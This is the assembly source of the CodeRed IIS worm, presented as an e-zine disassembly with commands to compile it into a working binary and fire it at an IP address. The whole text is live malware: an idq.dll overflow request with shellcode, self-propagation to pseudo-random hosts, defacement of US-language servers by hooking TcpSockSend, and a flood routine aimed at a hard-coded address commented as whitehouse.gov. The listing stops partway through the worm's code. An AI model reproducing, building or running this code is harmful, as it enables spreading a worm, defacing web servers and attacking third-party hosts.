; CodeRed IIS Worm  -  disassembly for XAOC #2 e-zine
;
; to compile into fully-working binary file:
;
;   tasm32.exe /m codered.asm
;   tlink32.exe -Tpe codered.obj,,,import32.lib
;
; to xploit IIS:
;
;   xploit 198.137.240.91 codered.exe

                p386
                model   flat
                .data
                dd      ?
                .code
                db      '$START$'       ; signature for XPLOIT.exe

; begin of worm body

; request to xploit idq.dll
                db      'GET /default.ida?'
                db      224 dup ('N')  ; size multiplied by 2, because of conversion into 2byte str
                db      '%u9090%u6858%ucbd3%u7801'
                db      '%u9090%u6858%ucbd3%u7801'
                db      '%u9090%u6858%ucbd3%u7801'
                db      '%u9090%u9090%u8190%u00c3'
                db      '%u0003%u8b00%u531b%u53ff'
                db      '%u0078%u0000%u00'
                db      '=a  HTTP/1.0',13,10
                db      'Content-type: text/xml',10
                db      'HOST:www.worm.com',10
                db      ' Accept: */*',10
                db      'Content-length: 3569 ',13,10,13,10

; shellcode:
;            ; 3 times:
; 90                    nop
; 90                    nop
; 58                    pop    eax
; 68                    push   ????????
; D3 CB 01 78           dd     0x7801CBD3  ; ptr to CALL EBX within MSVCRT.DLL
;
; 90                    nop
; 90                    nop
; 90                    nop
; 90                    nop
; 90                    nop
; 81 C3 00 03 00 00     add    ebx, 00000300h
; 8B 1B                 mov    ebx, [ebx]
; 53                    push   ebx    ; points to wrm structure (main_arg)
; FF 53 78              call   [ebx+78h]  ; call worm_main
; 00 00 00

; structure used by worm threads, pointer passed as a parameter to worm_main
wrm             struc ; (sizeof=0x8c)
                dd 2 dup (?)
WAM_handle      dd ?
                dd ?
thread_num      dd ?
                dd 20 dup (?)
name_with_shellcode dd ?                ; NNNN....
ida_filename    dd ?                    ; /default.ida
                dd ?
wormbody_size   dd ?
                dd ?
wormbody_ptr    dd ?
                dd 2 dup (?)
WAMWriteClient  dd ?
                dd ?
wrm             ends

worm_main       proc near

var_218         = dword ptr -218h
tid             = byte ptr -1D4h
file_handle     = dword ptr -1D0h
curr_hModule    = dword ptr -1CCh
st_dwYear       = word ptr -1C8h
st_dwMonth      = word ptr -1C6h
st_dwDayOfWeek  = word ptr -1C4h
st_dwDay        = word ptr -1C2h
st_dwHour       = word ptr -1C0h
st_dwMinute     = word ptr -1BEh
st_dwSecond     = word ptr -1BCh
st_dwMilliseconds= word ptr -1BAh
function_index  = dword ptr -1B8h
i               = dword ptr -1B4h
j               = dword ptr -1B0h
kernel32_export_ptr= dword ptr -1ACh
kernel32_base   = dword ptr -1A8h
ptr_to_fake_tcpsocksend= dword ptr -1A0h
k               = dword ptr -19Ch
ptr_to_strings  = dword ptr -198h
WAM_WriteClient = dword ptr -194h
KERNEL32_GetProcAddress= dword ptr -190h
ip              = dword ptr -18Ch
sock            = dword ptr -188h
sockaddr_proto  = word ptr -184h
sockaddr_port   = word ptr -182h
sockaddr_ip     = dword ptr -180h
sockaddr_reserved= byte ptr -17Ch
func_addr_table = dword ptr -174h
KERNEL32_LoadLibraryA= dword ptr -170h
KERNEL32_GetSystemTime= dword ptr -16Ch
KERNEL32_CreateThread= dword ptr -168h
KERNEL32_CreateFileA= dword ptr -164h
KERNEL32_Sleep  = dword ptr -160h
KERNEL32_GetSystemDefaultLangID= dword ptr -15Ch
KERNEL32_VirtualProtect= dword ptr -158h
;unused_1        = dword ptr -154h
INFOCOMM_TcpSockSend= dword ptr -150h
;unused_2        = dword ptr -14Ch
WS2_socket      = dword ptr -148h
WS2_connect     = dword ptr -144h
WS2_send        = dword ptr -140h
WS2_recv        = dword ptr -13Ch
WS2_closesocket = dword ptr -138h
W3SVC_IMAGEBASE = dword ptr -134h
thread_start_code= byte ptr -130h
seh_stuff       = dword ptr -110h
seh_handler_offset= dword ptr -10Ch
seh_old_ptr     = dword ptr -108h
iobuf           = byte ptr -104h
main_arg        = dword ptr  8

        ; main entry into the worm,
        ; comes right after http request and some additional fields

                push    ebp
                mov     ebp, esp
                sub     esp, 218h  ; allocate space for local variables
                push    ebx
                push    esi
                push    edi
; initialize local variables
                lea     edi, [ebp+var_218]
                mov     ecx, 218h / 4
                mov     eax, 0CCCCCCCCh
                rep     stosd
                mov     [ebp+KERNEL32_GetProcAddress], 0
; install pointer to strings (api function names, etc.)
; char* ptr_to_strings
                jmp     @@push_ptr_to_strings
@@pop_ptr_to_strings:
                pop     [ebp+ptr_to_strings]
; install SEH structure
                lea     edi, [ebp+seh_stuff]
                mov     eax, large fs:0
                mov     [edi + seh_old_ptr - seh_stuff], eax
                mov     large fs:0, edi
; install pointer to fake TcpSockSend
                jmp     @@push_ptr_to_fake_tcpsocksend
@@pop_ptr_to_fake_tcpsocksend:
                pop     [ebp+ptr_to_fake_tcpsocksend]
; install SEH handler
                mov     [ebp+seh_stuff], 0FFFFFFFFh
                mov     eax, [ebp+ptr_to_strings]
                sub     eax, strings - seh_handler ; eax = seh_handler
                mov     [ebp+seh_handler_offset], eax
; set minimal imagebase boudary for KERNEL32.DLL
                mov     [ebp+kernel32_base], 77E00000h
; setup own SEH handler, to return to @@cycle: on errors
                call    set_sehreturn_to_next
; while (GetProcAddress == 0)
; {
@@cycle:
                cmp     [ebp+KERNEL32_GetProcAddress], 0 ; alredy found?
                jnz     uninstall_seh
; continue search for kernel32.dll in memory
; for each 64k of memory (because kernel's imagebase is 64k-aligned)
                mov     ecx, [ebp+kernel32_base]
                add     ecx, 65536
                mov     [ebp+kernel32_base], ecx
; skip range [78000000..BFEF0000]
                cmp     [ebp+kernel32_base], 78000000h
                jnz     short @@1
                mov     [ebp+kernel32_base], 0BFF00000h ; w9x?
@@1:
; check if there is MZ header
                mov     edx, [ebp+kernel32_base]
                xor     eax, eax
                mov     ax, [edx]
                cmp     eax, 'ZM'
                jnz     @@jmp_cycle
; check if there is PE header
                mov     ecx, [ebp+kernel32_base]
                mov     edx, [ecx+3Ch]  ; MZ.PE_OFFS
                mov     eax, [ebp+kernel32_base]
                xor     ecx, ecx
                mov     cx, [eax+edx]
                cmp     ecx, 'EP'
                jnz     @@jmp_cycle
; check DLL name within PE exports
                mov     edx, [ebp+kernel32_base]
                mov     eax, [edx+3Ch]  ; MZ.PE_OFFS
                mov     ecx, [ebp+kernel32_base]
                mov     edx, [ecx+eax+78h] ; PE.ExportTableRVA
                add     edx, [ebp+kernel32_base]
                mov     [ebp+kernel32_export_ptr], edx
                mov     eax, [ebp+kernel32_export_ptr]
                mov     ecx, [eax+0Ch]  ; PE.EXPORT.DLLNameRVA
                add     ecx, [ebp+kernel32_base]
                mov     [ebp+i], ecx
; should be 'KERNEL32'
                mov     edx, [ebp+i]
                cmp     dword ptr [edx], 'NREK'
                jnz     @@jmp_cycle
                mov     eax, [ebp+i]
                cmp     dword ptr [eax+4], '23LE'
                jnz     @@jmp_cycle
; store found imagebase
                mov     ecx, [ebp+kernel32_base]
                mov     [ebp+curr_hModule], ecx
; i = imagebase + PE.EXPORT.NamePointersRVA -- pointer to 1st exported function name rva
                mov     edx, [ebp+kernel32_export_ptr]
                mov     eax, [ebp+kernel32_base]
                add     eax, [edx+20h]  ; PE.EXPORT.NamePointersRVA
                mov     [ebp+i], eax
; for (int index = 0; index < PE.EXPORT.NumOfNamePointers; index++, i+=4)
; {
; index = 0
                mov     [ebp+function_index], 0
                jmp     short @@2
; index++ -- next exported function #
@@next_index:
                mov     ecx, [ebp+function_index]
                add     ecx, 1
                mov     [ebp+function_index], ecx
; i += 4 -- pointer to next exported function name rva
                mov     edx, [ebp+i]
                add     edx, 4
                mov     [ebp+i], edx
; if (index >= PE.EXPORT.NumOfNamePointers) goto cycle
@@2:
                mov     eax, [ebp+kernel32_export_ptr]
                mov     ecx, [ebp+function_index]
                cmp     ecx, [eax+18h]  ; PE.EXPORT.NumOfNamePointers
                jge     @@jmp_cycle
; check exported function name -- search for GetProcAddress
; if ( *(DWORD*)(imagebase+i  ) != 'GetP' ) continue;
; if ( *(DWORD*)(imagebase+i+4) != 'rocA' ) continue;
                mov     edx, [ebp+i]
                mov     eax, [edx]
                mov     ecx, [ebp+kernel32_base]
                cmp     dword ptr [ecx+eax], 'PteG'
                jnz     @@jmp_next_index
                mov     edx, [ebp+i]
                mov     eax, [edx]
                mov     ecx, [ebp+kernel32_base]
                cmp     dword ptr [ecx+eax+4], 'Acor'
                jnz     @@jmp_next_index
; GetProcAddress name's # found. Now search for virtual address
; i = PE.EXPORT.OrdinalTable[ index ]
                mov     edx, [ebp+function_index] ; ordinal table: WORD-elements
                add     edx, [ebp+function_index]
                add     edx, [ebp+kernel32_base]
                mov     eax, [ebp+kernel32_export_ptr]
                mov     ecx, [eax+24h]  ; PE.EXPORT.OrdinalTableRVA
                xor     eax, eax
                mov     ax, [edx+ecx]
                mov     [ebp+i], eax
; i += PE.EXPORT.OrdinalBase - 1
                mov     ecx, [ebp+kernel32_export_ptr]
                mov     edx, [ecx+10h]  ; PE.EXPORT.OrdinalBase
                mov     eax, [ebp+i]
                lea     ecx, [eax+edx-1]
                mov     [ebp+i], ecx
; i = PE.EXPORT.AddressTable[ i ]
                mov     edx, [ebp+i]    ; address table: DWORD-elements
                add     edx, [ebp+i]
                add     edx, [ebp+i]
                add     edx, [ebp+i]
                add     edx, [ebp+kernel32_base]
                mov     eax, [ebp+kernel32_export_ptr]
                mov     ecx, [eax+1Ch]  ; PE.EXPORT.AddressTableRVA
                mov     edx, [edx+ecx]
                mov     [ebp+i], edx
; KERNEL32_GetProcAddress = imagebase + i  -- RVA to VA
                mov     eax, [ebp+i]
                add     eax, [ebp+kernel32_base]
                mov     [ebp+KERNEL32_GetProcAddress], eax
; break
                jmp     short @@jmp_cycle
; } // for (index=0; ...
@@jmp_next_index:

                jmp     @@next_index
; } // while (GetProcAddress == 0)
@@jmp_cycle:

                jmp     @@cycle
uninstall_seh:
                lea     edi, [ebp+seh_stuff]
                mov     eax, [edi + seh_old_ptr - seh_stuff] ; +8 == old seh structure
                mov     large fs:0, eax
; this was additional check for debug purposes. never used
                cmp     [ebp+KERNEL32_GetProcAddress], 0
                jnz     short @@init_func_addr_table
                jmp     jmp$            ; halt
; now initialize function addresses, using KERNEL32.GetProcAddress
; for (int i=1; ; i++)  // i == function#
; {
@@init_func_addr_table:
                mov     [ebp+i], 1
                jmp     short @@3
@@next_function:
; i++
                mov     ecx, [ebp+i]
                add     ecx, 1
                mov     [ebp+i], ecx
@@3:
; if (*ptr_to_strings == 0) break
                mov     edx, [ebp+ptr_to_strings]
                movsx   eax, byte ptr [edx]
                test    eax, eax
                jz      @@end_of_init   ; done
; if (*ptr_to_strings == 9)   // libary?
; {
                mov     ecx, [ebp+ptr_to_strings]
                movsx   edx, byte ptr [ecx]
                cmp     edx, 9          ; 9 = id for library names
                jnz     short function_name
library_name:
                mov     eax, [ebp+ptr_to_strings]
                add     eax, 1          ; skip '9'
                mov     esi, esp
                push    eax
                call    [ebp+KERNEL32_LoadLibraryA]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
                mov     [ebp+curr_hModule], eax   ; store imagebase
; } else {
                jmp     short @@jmp_skip_asciiz
function_name:
                mov     esi, esp
                mov     ecx, [ebp+ptr_to_strings] ; lpProcName
                push    ecx
                mov     edx, [ebp+curr_hModule] ; hModule
                push    edx
                call    [ebp+KERNEL32_GetProcAddress]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
                mov     ecx, [ebp+i]
                mov     [ebp+ecx*4+func_addr_table], eax
; }
; now skip asciiz name -- both library or function
@@jmp_skip_asciiz:
                jmp     short @@4
; while (*++ptr_to_strings)
; {
@@skip_asciiz_cycle:
; ++ptr_to_strings
                mov     edx, [ebp+ptr_to_strings]
                add     edx, 1
                mov     [ebp+ptr_to_strings], edx
@@4:
; if (*ptr_to_strings == 0) break
                mov     eax, [ebp+ptr_to_strings]
                movsx   ecx, byte ptr [eax]
                test    ecx, ecx
                jz      short @@5
                jmp     short @@skip_asciiz_cycle
; }
; ptr_to_strings++  -- skip terminating zero
@@5:
                mov     edx, [ebp+ptr_to_strings]
                add     edx, 1
                mov     [ebp+ptr_to_strings], edx
; } // for (int i=1; ...  -- end of cycle for each function name
                jmp     @@next_function
@@end_of_init:
; ptr_to_strings++ -- now ptr to msg_get, skip terminating zero
                mov     eax, [ebp+ptr_to_strings]
                add     eax, 1
                mov     [ebp+ptr_to_strings], eax
; here and later, ptr_to_strings points to msg_get
; initialize WAM.WriteClient function address
                mov     ecx, [ebp+main_arg]
                mov     edx, [ecx+wrm.WAMWriteClient]
                mov     [ebp+WAM_WriteClient], edx
; i = 4  -- used later
                mov     [ebp+i], 4
; build new thread startup code:
; 68 xxxxxxxx  push <main_arg>
; 5B           pop ebx
; 53           push ebx
; 53           push ebx
; FF 63 78     jmp dword ptr [ebx+0x78]
; 90           nop
; 90           nop
                mov     [ebp+thread_start_code], 68h
                mov     eax, [ebp+main_arg]
                mov     dword ptr [ebp+thread_start_code+1], eax
                mov     dword ptr [ebp+thread_start_code+5], 0FF53535Bh
                mov     dword ptr [ebp+thread_start_code+9], 90907863h
; j = thread #
                mov     ecx, [ebp+main_arg]
                mov     edx, [ecx+wrm.thread_num] ; thread#
                mov     [ebp+j], edx    ; threadnum
; check thread #
; if (j == 0)  // only 1st thread does reply
                cmp     [ebp+j], 0      ; threadnum
                jnz     short @@end_of_reply
; reply
                mov     esi, esp
                push    0
                lea     eax, [ebp+i]    ; 4 bytes
                push    eax
                mov     ecx, [ebp+ptr_to_strings] ; GET ...
                push    ecx
                mov     edx, [ebp+main_arg]
                mov     eax, [edx+wrm.WAM_handle]
                push    eax
                call    [ebp+WAM_WriteClient]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; 100th thread will check system language and perform deface
@@end_of_reply:
                cmp     [ebp+j], 100    ; threadnum
                jge     short check_lang
; j++
                mov     ecx, [ebp+j]    ; threadnum
                add     ecx, 1
                mov     [ebp+j], ecx    ; threadnum
; ip = thread# * 0x50F0668D
                mov     edx, [ebp+j]
                imul    edx, 50F0668Dh
                mov     [ebp+ip], edx
; insert thread# into (wrm*)&main_arg area, that is shared by all worm threads
                mov     eax, [ebp+main_arg]
                mov     ecx, [ebp+j]    ; thread#
                mov     [eax+wrm.thread_num], ecx ; thread#
; create new thread
                mov     esi, esp
                lea     edx, [ebp+tid]  ; thread id
                push    edx
                push    0
                lea     eax, [ebp+i]
                push    eax
                lea     ecx, [ebp+thread_start_code] ; eip
                push    ecx
                push    0
                push    0
                call    [ebp+KERNEL32_CreateThread]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
                jmp     check_notworm
check_lang:
                mov     esi, esp
                call    [ebp+KERNEL32_GetSystemDefaultLangID]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
                mov     [ebp+i], eax
; i &= 0xFFFF
                mov     edx, [ebp+i]
                and     edx, 0FFFFh
                mov     [ebp+i], edx
; if (i == 0x409) ...
                cmp     [ebp+i], 409h   ; US? (right, fuck'em all)
                jz      short wait_2_hours_and_deface
                jmp     check_notworm
wait_2_hours_and_deface:
                mov     esi, esp
                push    2*3600*1000     ; 2 hours
                call    [ebp+KERNEL32_Sleep]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; install pointer to temp_area
                jmp     @@push_ptr_to_temp_area
@@pop_ptr_to_temparea:
                pop     [ebp+i]         ; ptr to temp_area
; initialize W3SVC.DLL imagebase
                mov     eax, [ebp+curr_hModule]
                mov     [ebp+W3SVC_IMAGEBASE], eax
; initialize temp_area
                mov     ecx, [ebp+i]
                mov     edx, [ebp+INFOCOMM_TcpSockSend]
                mov     [ecx + temp_TcpSockSend - temp_area], edx
                mov     eax, [ebp+i]
                mov     ecx, [ebp+WS2_closesocket]
                mov     [eax + temp_closesocket - temp_area], ecx
; for (char*j = ptr_to_strings; j < ptr_to_strings+256; j++)
; {
; j = ptr_to_strings
                mov     edx, [ebp+ptr_to_strings]
                mov     [ebp+j], edx
                jmp     short @@7
; j++
@@search_html_cycle:
                mov     eax, [ebp+j]
                add     eax, 1
                mov     [ebp+j], eax
; if (j >= ptr_to_strings+256) break
@@7:
                mov     ecx, [ebp+ptr_to_strings]
                add     ecx, 256
                cmp     [ebp+j], ecx
                jnb     short @@unprotect_page
; if (*(DWORD*)j == 'HTML') break
                mov     edx, [ebp+j]
                cmp     dword ptr [edx], 'HTML'
                jnz     short @@jmp_search_html_cycle
                jmp     short @@unprotect_page
; } // for (...  -- search HTML mark cycle
@@jmp_search_html_cycle:
                jmp     short @@search_html_cycle
@@unprotect_page:
; temp_defacedataptr = j + 4  -- pointer to html code for deface
                mov     eax, [ebp+j]
                add     eax, 4          ; skip 'HTML' mark
                mov     ecx, [ebp+i]
                mov     [ecx + temp_defacedataptr - temp_area], eax
; unprotect 16k of memory within W3SVC.DLL
                mov     esi, esp
                lea     edx, [ebp+function_index] ; original state, will be used when restoring
                push    edx
                push    4               ; 4=PAGE_READWRITE
                push    16384
                mov     eax, [ebp+W3SVC_IMAGEBASE]
                push    eax
                call    [ebp+KERNEL32_VirtualProtect]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; search for pointer to TcpSockSend within W3SVC.DLL
; for (int i=0; i<0x3000; i++)
; {
; i = 0
                mov     [ebp+i], 0
                jmp     short @@8
; i++
@@search_tcpsocksend_cycle:
                mov     ecx, [ebp+i]
                add     ecx, 1
                mov     [ebp+i], ecx
; if (i >= 0x3000) break
@@8:
                cmp     [ebp+i], 3000h
                jge     short @@restore_protection
; check if found DWORD is pointer to TcpSockSend
                mov     edx, [ebp+W3SVC_IMAGEBASE]
                add     edx, [ebp+i]
                mov     eax, [edx]
                cmp     eax, [ebp+INFOCOMM_TcpSockSend]
                jnz     short @@jmp_search_tcpsocksend_cycle
; replace with pointer to worm's fake TcpSockSend
                mov     ecx, [ebp+W3SVC_IMAGEBASE]
                add     ecx, [ebp+i]
                mov     edx, [ebp+ptr_to_fake_tcpsocksend]
                mov     [ecx], edx
; sleep 10 hours
                mov     esi, esp
                push    10*3600*1000    ; 10 hours
                call    [ebp+KERNEL32_Sleep]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; restore pointer to original value
                mov     eax, [ebp+W3SVC_IMAGEBASE]
                add     eax, [ebp+i]
                mov     ecx, [ebp+INFOCOMM_TcpSockSend]
                mov     [eax], ecx
                jmp     short @@restore_protection
; } // for
@@jmp_search_tcpsocksend_cycle:
                jmp     short @@search_tcpsocksend_cycle
; restore original memory protection state
@@restore_protection:

                mov     esi, esp
                lea     edx, [ebp+i]
                push    edx
                mov     eax, [ebp+function_index] ; original state
                push    eax
                push    16384
                mov     ecx, [ebp+W3SVC_IMAGEBASE]
                push    ecx
                call    [ebp+KERNEL32_VirtualProtect]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
check_notworm:

                mov     edx, 1          ; for debug
                test    edx, edx
                jz      jmp$
; check if file exists
                mov     esi, esp
                push    0
                push    80h
                push    3
                push    0
                push    1
                push    80000000h
                mov     eax, [ebp+ptr_to_strings]
                add     eax, msg_cnotworm - msg_get ; db 'c:\notworm',0
                push    eax
                call    [ebp+KERNEL32_CreateFileA]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
                mov     [ebp+file_handle], eax
; error while opening?
                cmp     [ebp+file_handle], 0FFFFFFFFh
                jz      short check_date_20
; no error, so file exists. halt
@@infinite_sleep_1:
                mov     ecx, 1          ; for debug
                test    ecx, ecx
                jz      short check_date_20
                mov     esi, esp
                push    7FFFFFFFh
                call    [ebp+KERNEL32_Sleep]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
                jmp     short @@infinite_sleep_1
; get system time (really need only day #)
check_date_20:

                mov     esi, esp
                lea     edx, [ebp+st_dwYear] ; systemtime structure
                push    edx
                call    [ebp+KERNEL32_GetSystemTime]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; i = day#
                mov     eax, dword ptr [ebp+st_dwDay]
                mov     [ebp+i], eax
; i &= 0xFFFF, because of WORD-entry
                mov     ecx, [ebp+i]
                and     ecx, 0FFFFh
                mov     [ebp+i], ecx
; if (day# < 20) goto select_random_ip
                cmp     [ebp+i], 20
                jl      select_random_ip_and_spread
check_date_28:
                mov     edx, 1          ; for debug, never used
                test    edx, edx        ; ...
                jz      select_random_ip_and_spread ; ...
; get system time again
                mov     esi, esp
                lea     eax, [ebp+st_dwYear]
                push    eax
                call    [ebp+KERNEL32_GetSystemTime]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; i = day#
                mov     ecx, dword ptr [ebp+st_dwDay]
                mov     [ebp+i], ecx
; i &= 0xFFFF
                mov     edx, [ebp+i]
                and     edx, 0FFFFh
                mov     [ebp+i], edx
; if (day# >= 28) infinite_sleep
                cmp     [ebp+i], 28
                jl      short @@9
@@infinite_sleep_2:
                mov     eax, 1          ; for debug, never used
                test    eax, eax        ; ...
                jz      short @@9       ; ...
                mov     esi, esp
                push    7FFFFFFFh
                call    [ebp+KERNEL32_Sleep]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
                jmp     short @@infinite_sleep_2
; sleep 0.1 sec
@@9:

                mov     esi, esp
                push    100             ; 0.1 sec
                call    [ebp+KERNEL32_Sleep]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; allocate socket
                mov     esi, esp
                push    0
                push    1
                push    2
                call    [ebp+WS2_socket]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
                mov     [ebp+sock], eax
; initialize sockaddr structure
                mov     [ebp+sockaddr_proto], 2
                mov     [ebp+sockaddr_port], 5000h ; htons(80)
                mov     [ebp+sockaddr_ip], 5BF089C6h ; www.whitehouse.gov
; connect
                mov     esi, esp
                push    16              ; sizeof(sockaddr)
                lea     ecx, [ebp+sockaddr_proto]
                push    ecx
                mov     edx, [ebp+sock]
                push    edx
                call    [ebp+WS2_connect]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; for(int i=0; i<0x18000; i++)
; {
; i = 0
                mov     [ebp+i], 0
                jmp     short @@10
; i++
@@flood_cycle:
                mov     eax, [ebp+i]
                add     eax, 1
                mov     [ebp+i], eax
; if (i >= 0x18000) break
@@10:
                cmp     [ebp+i], 18000h
                jge     short @@end_of_flood
; sleep 1 sec
                mov     esi, esp
                push    1000            ; 1 sec
                call    [ebp+KERNEL32_Sleep]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; send 1 byte
                mov     esi, esp
                push    0
                push    1
                lea     ecx, [ebp+iobuf]
                push    ecx
                mov     edx, [ebp+sock]
                push    edx
                call    [ebp+WS2_send]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; } // for (...
                jmp     short @@flood_cycle
; sleep 4 hours
@@end_of_flood:
                mov     esi, esp
                push    1000000h        ; 04:39:37 (h:m:s)
                call    [ebp+KERNEL32_Sleep]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; check date again, and continue flood if day# < 28
                jmp     check_date_28
select_random_ip_and_spread:

                mov     eax, dword ptr [ebp+st_dwSecond]
                mov     [ebp+j], eax
; j = (sqr(second)*0xCD59E3 + second*0x1E1b9 + ip)
                mov     ecx, [ebp+j]
                imul    ecx, [ebp+j]
                imul    ecx, 0CD59E3h
                mov     edx, [ebp+j]
                imul    edx, 1E1B9h
                mov     eax, [ebp+ip]
                add     eax, ecx
                add     edx, eax
                mov     [ebp+j], edx
; ip = ip * 0xCF3383 + 0x76BFE53
                mov     ecx, [ebp+ip]
                imul    ecx, 0CF3383h
                add     ecx, 76BFE53h
                mov     [ebp+ip], ecx
; j &= 255
                mov     edx, [ebp+ip]
                and     edx, 0FFh
                mov     [ebp+j], edx    ; A
; if ((j == 127) || (j == 224))

                cmp     [ebp+j], 127
                jz      short @@11
                cmp     [ebp+j], 224
                jnz     short @@12
; {
@@11:
                mov     eax, [ebp+ip]
                add     eax, 134569     ; change A if 127 or 224
                mov     [ebp+ip], eax
; } // if
; sleep 0.1 sec
@@12:
                mov     esi, esp
                push    100             ; 0.1 sec
                call    [ebp+KERNEL32_Sleep]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; create socket
                mov     esi, esp
                push    0
                push    1
                push    2
                call    [ebp+WS2_socket]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
                mov     [ebp+sock], eax
; initialize sockaddr structure
                mov     [ebp+sockaddr_proto], 2
                mov     [ebp+sockaddr_port], 5000h ; htons(80)
; sockaddr_ip = ip  -- really not a random number
                mov     ecx, [ebp+ip]
                mov     [ebp+sockaddr_ip], ecx
; connect
                mov     esi, esp
                push    16              ; sizeof(sockaddr)
                lea     edx, [ebp+sockaddr_proto]
                push    edx
                mov     eax, [ebp+sock]
                push    eax
                call    [ebp+WS2_connect]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; check if connected
                test    eax, eax
                jnz     @@closesocket
; send 'GET '
                mov     esi, esp
                push    0
                push    4               ; 4 bytes
                mov     ecx, [ebp+ptr_to_strings] ; msg_get
                push    ecx
                mov     edx, [ebp+sock]
                push    edx
                call    [ebp+WS2_send]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; calculate length of ida.filename
; for (i = 0, k = ida.filename; (char*)k!=0; k++, i++)
; {
; i = 0
                mov     [ebp+i], 0
; k = ida.filename
                mov     eax, [ebp+main_arg]
                mov     ecx, [eax+wrm.ida_filename]
                mov     [ebp+k], ecx
                jmp     short @@14
; k++
@@13:
                mov     edx, [ebp+k]
                add     edx, 1
                mov     [ebp+k], edx
; i++
                mov     eax, [ebp+i]
                add     eax, 1
                mov     [ebp+i], eax
; if ((char*)k == 0) break
@@14:
                mov     ecx, [ebp+k]
                movsx   edx, byte ptr [ecx]
                test    edx, edx
                jz      short @@15
                jmp     short @@13
; } // for
; send ida.filename
@@15:
                mov     esi, esp
                push    0
                mov     eax, [ebp+i]    ; calculated length
                push    eax
                mov     ecx, [ebp+main_arg]
                mov     edx, [ecx+wrm.ida_filename]
                push    edx
                mov     eax, [ebp+sock]
                push    eax
                call    [ebp+WS2_send]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; send '?'
                mov     esi, esp
                push    0
                push    1               ; 1 byte
                mov     ecx, [ebp+ptr_to_strings]
                add     ecx, msg_? - msg_get ; db '?',0
                push    ecx
                mov     edx, [ebp+sock]
                push    edx
                call    [ebp+WS2_send]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; calculate shellcode length
; for (i = 0, k = &shellcode; (char*)k != 0; k++, i++)
; {
; i = 0
                mov     [ebp+i], 0
; k = ptr to shellcode
                mov     eax, [ebp+main_arg]
                mov     ecx, [eax+wrm.name_with_shellcode]
                mov     [ebp+k], ecx
                jmp     short @@17
; k++
@@16:
                mov     edx, [ebp+k]
                add     edx, 1
                mov     [ebp+k], edx
; i++
                mov     eax, [ebp+i]
                add     eax, 1
                mov     [ebp+i], eax
; if ((char*)k == 0) break
@@17:
                mov     ecx, [ebp+k]
                movsx   edx, byte ptr [ecx]
                test    edx, edx
                jz      short @@18
                jmp     short @@16
; send shellcode
@@18:
                mov     esi, esp
                push    0
                mov     eax, [ebp+i]    ; calculated length
                push    eax
                mov     ecx, [ebp+main_arg]
                mov     edx, [ecx+wrm.name_with_shellcode]
                push    edx
                mov     eax, [ebp+sock]
                push    eax
                call    [ebp+WS2_send]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; calculate length of terminating http header
; for(i = 0, k = msg_httphdr; (char*)k != 0; k++, i++)
; {
; i = 0
                mov     [ebp+i], 0
; k = msg_httphdr
                mov     ecx, [ebp+ptr_to_strings]
                add     ecx, msg_httphdr - msg_get ; HTTP/1.0 ...
                mov     [ebp+k], ecx
                jmp     short @@20
; k++
@@19:
                mov     edx, [ebp+k]
                add     edx, 1
                mov     [ebp+k], edx
; i++
                mov     eax, [ebp+i]
                add     eax, 1
                mov     [ebp+i], eax
; if ((char*)k == 0) break
@@20:
                mov     ecx, [ebp+k]
                movsx   edx, byte ptr [ecx]
                test    edx, edx
                jz      short @@21
                jmp     short @@19
; } // for
; send http hdr
@@21:
                mov     esi, esp
                push    0
                mov     eax, [ebp+i]
                push    eax
                mov     ecx, [ebp+ptr_to_strings]
                add     ecx, msg_httphdr - msg_get ; HTTP/1.0 ...
                push    ecx
                mov     edx, [ebp+sock]
                push    edx
                call    [ebp+WS2_send]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; i = size of worm's body
                mov     eax, [ebp+main_arg]
                mov     ecx, [eax+wrm.wormbody_size]
                mov     [ebp+i], ecx
; send worm body
                mov     esi, esp
                push    0
                mov     edx, [ebp+i]
                push    edx
                mov     eax, [ebp+main_arg]
                mov     ecx, [eax+wrm.wormbody_ptr]
                push    ecx
                mov     edx, [ebp+sock]
                push    edx
                call    [ebp+WS2_send]
                cmp     esi, esp
                nop
                inc     ebx
                dec     ebx
                inc     ebx
                dec     ebx
; receive 256 bytes into iobuf
